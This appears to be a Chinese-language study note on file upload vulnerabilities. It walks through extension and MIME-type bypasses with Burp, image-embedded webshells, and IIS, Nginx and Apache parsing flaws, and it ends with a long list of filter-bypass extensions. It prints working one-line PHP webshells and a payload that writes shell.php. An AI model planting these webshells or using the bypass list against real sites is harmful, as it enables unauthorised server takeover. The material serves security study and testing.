一、什么是文件上传漏洞?
网站没有对上传文件进行严格的限制,导致攻击者利用漏洞上传可执行的恶意文件,从而实现攻击目的。
二、文件上传漏洞类型
黑名单绕过:指定文件名不能上传
白名单绕过:指定文件名能上传
解析漏洞
一句话木马
<?php eval($_REQUEST[a]);?>
<?php eval($_GET[a]);?>
<?php eval($_POST[a]);?>
一、client check(修改文件后缀)
上传文件
使用burp抓包改文件后缀
使用?a=phpinfo();命令
最后用蚁剑连接即可命令执行
二、MIME type(修改Content-Type类型)
使用brup抓包,上传jpg文件,将Content-Type的内容复制
上传成功
最后用蚁剑连接
三、getimagesize(在图片中插入代码)
制作图片马: 进入cmd,将jpg文件和php文件合并到一起
copy 1.jpg/b + small.php/a 123123.jpg
使用brup抓包,插入代码可以放在后面,或者中间,不能放在前面
查看上传成功
进入后台,使用记事本打开,查看插入的代码
三、解析漏洞
IIS解析漏洞
1.目录解析漏洞(/test.asp/1.jpg)
IIS5.x/6.0 中,*.asp、*.asa、*.cer、*.cdx 的文件夹,其目录内的文件都会被当做asp文件来解释并执行。例如目录 test.asp,则/test.asp/1.jpg 将被当做asp文件来执行。
2.文件名解析漏洞(test.asp;.jpg)
在IIS5.x/6.0 中, 分号后面的不被解析,也就是说 xie.asp;.jpg 会被服务器看成是xie.asp。还有IIS6.0默认的可执行文件除了asp还包含这两种 .asa .cer 。
3.畸形解析漏洞(test.jpg/*.php)
IIS7.0中,在默认Fast-CGI开启状况下,我们往图片里面写入下面的代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[x])?>')?>
将文件保存成test.jpg格式,上传到服务器,假设上传路径为/upload,上传成功后,直接访问/upload/test.jpg/x.php,test.jpg将会被服务器当成php文件执行。
临时解决办法:设置 cgi.fix_pathinfo为0
Ngnix解析漏洞
1.畸形解析漏洞(test.jpg/*.php)
nginx<0.8.03
漏洞原因:
· php的配置文件 php.ini 文件中开启了 cgi.fix_pathinfo
· /etc/php5/fpm/pool.d/www.conf中不正确的配置security.limit_extensions,导致允许将其他格式文件作为php解析执行
2.Nginx <0.8.03 空字节代码执行漏洞(xxx.jpg%00.php)
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
当使用PHP-FastCGI执行PHP时,遇到url里面存在%00空字节时与FastCGI的处理不一致,导致可在非PHP文件中嵌入PHP代码,通过访问url+%00.PHP来执行其中的PHP代码。
例如:"http://127.0.0.1/1.jpg%00.php"会把1.jpg文件(木马文件)当做PHP文件来执行。
apache解析漏洞
apache1.x和2.x
apache对文件路径从右往左识别,从能识别的后缀开始解析
例如 /test.php.php123 由于php123不认识,从.php开始解析
apache能解析的拓展名在apache目录下的/conf/mime.types中
四、文件上传后缀名字典
php
php.
php. .
php
php%00.jpg
php2
php3
php4
php5
pHp
pHp2
pHp3
pHp4
pHp5
html
htm
phtml
pht
Html
Htm
pHtml
asp
aspx
asa
asax
ashx
asmx
cer
aSp
aSpx
aSa
aSax
aScx
aShx
aSmx
cEr
jsp
jspa
jspx
jsw
jxv
jspf
jtml
JSp
jSpx
jSpa
jSw
jSv
jSpf
jHtml
asp/test.jpg
asp;.jpg
cer/test.jpg
cer;.jpg
asa/test.jpg
asa;.jpg
aSp/test.jpg
aSp;.jpg
cEr/test.jpg
cEr;.jpg
aSa/test.jpg
aSa;.jpg
jpg/xx.php
jpg/xx.pHp
jpg/.php
jpg/.pHp
php.xs.aa
php2.aa
php3.aa
php4.aa
php5.aa
pHp.aa
pHp2.aa
pHp3.aa
pHp4.aaa
pHp5.aa
html.aa
htm.aa
phtml.aa
pht.aaa
Html.aaa
Htm.aa
pHtml.aa
php::$DATA